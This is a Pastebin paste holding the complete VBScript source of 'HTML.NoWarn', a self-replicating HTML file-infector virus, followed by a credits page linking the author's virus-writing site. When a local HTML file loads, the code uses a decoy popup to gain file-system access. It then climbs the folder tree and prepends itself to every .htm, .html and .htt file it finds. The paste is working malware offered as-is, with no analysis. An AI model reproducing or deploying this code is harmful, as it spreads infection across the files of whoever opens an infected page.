Advertisement
FlyFar

Virus.HTML.NoWarn.b - Source Code

Jun 26th, 2023
715
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 2.36 KB | Cybersecurity | 0 0
  1. <html> <!--1nternal-->
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  4. <meta name="Author" content="1nternal">
  5. </head>
  6. <BODY>
  7. <script language="VBScript"><!--
  8.  
  9. Private fso, HostPath
  10.  
  11. Private Sub FindHTMVBS
  12.     On Error Resume Next
  13.     cpath = fso.GetParentFolderName(HostPath)
  14.     Set folder = fso.GetFolder(cpath)
  15.     While folder.IsRootFolder = false
  16.         Set folder = fso.GetFolder(cpath)
  17.         Set fc = folder.Files
  18.         cpath = fso.GetParentFolderName(cpath)
  19.         For each Target in fc
  20.             InfType = Lcase(Fso.GetExtensionName(Target.name))
  21.             if InfType = "htm" or InfType = "html" or InfType = "htt" then
  22.                 Set fh = fso.opentextfile(Target.path, 1, true)
  23.                 TestString = fh.readline
  24.                 fh.close
  25.                 If TestString <> "<html> <!--1nternal-->" then
  26.                     TempFile = fso.GetTempName
  27.                     fso.CopyFile Target.path, TempFile
  28.                     Set fh = fso.opentextfile(Hostpath, 1, true)
  29.                     Set ft = fso.opentextfile(Target.path, 2, true)
  30.                     For I = 1 to 64
  31.                         ft.WriteLine fh.ReadLine
  32.                     Next
  33.                     fh.close
  34.                     Set fh = fso.opentextfile(TempFile, 1, true)
  35.                     Do While fh.AtEndOfStream <> True  
  36.                         ft.WriteLine fh.ReadLine
  37.                     Loop
  38.                     ft.close
  39.                     fh.close
  40.                     fso.DeleteFile TempFile
  41.                 End IF
  42.             End If
  43.         Next
  44.     Wend
  45. End Sub
  46.  
  47. Private Sub Window_Onload
  48.     On Error Resume Next
  49.     Randomize
  50.     If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then
  51.         set wcover = window.open ("about:Are you sure you want to view the contents of this HTML document?", "", "top = 185, left = 227, height = 80, width = 335, toolbar=no, maximize=no, resizeable=no, status=no")
  52.         Set fso = CreateObject("Scripting.FileSystemObject")
  53.         wcover.close
  54.         HostPath = Replace(location.href, "file:///", "")
  55.         HostPath = Replace(HostPath, "/", "\")
  56.         Call FindHTMVBS
  57.         window.status = "HTML.NoWarn v0.11 /1nternal"
  58.     end IF
  59. End Sub
  60. --></script>
  61. </BODY>
  62. </HTML>
  63.  
  64.  
  65.  
  66. <html>
  67.  
  68. <head>
  69. <meta http-equiv="Content-Type"
  70. content="text/html; charset=iso-8859-1">
  71. <meta name="Author" content="1nternal">
  72. <title>HTML.NoWarn v0.11</title>
  73. </head>
  74.  
  75. <body>
  76.  
  77. <p align="center">&nbsp;</p>
  78.  
  79. <p align="center">&nbsp;</p>
  80.  
  81. <p align="center"><strong>HTML.NoWarn v0.11</strong></p>
  82.  
  83. <p align="center">/ 1nternal</p>
  84.  
  85. <p align="center"><a
  86. href="http://www.geocities.com/SiliconValley/Horizon/9386">1nternal's
  87. VX Site</a></p>
  88.  
  89. <p>&nbsp;</p>
  90. </body>
  91. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement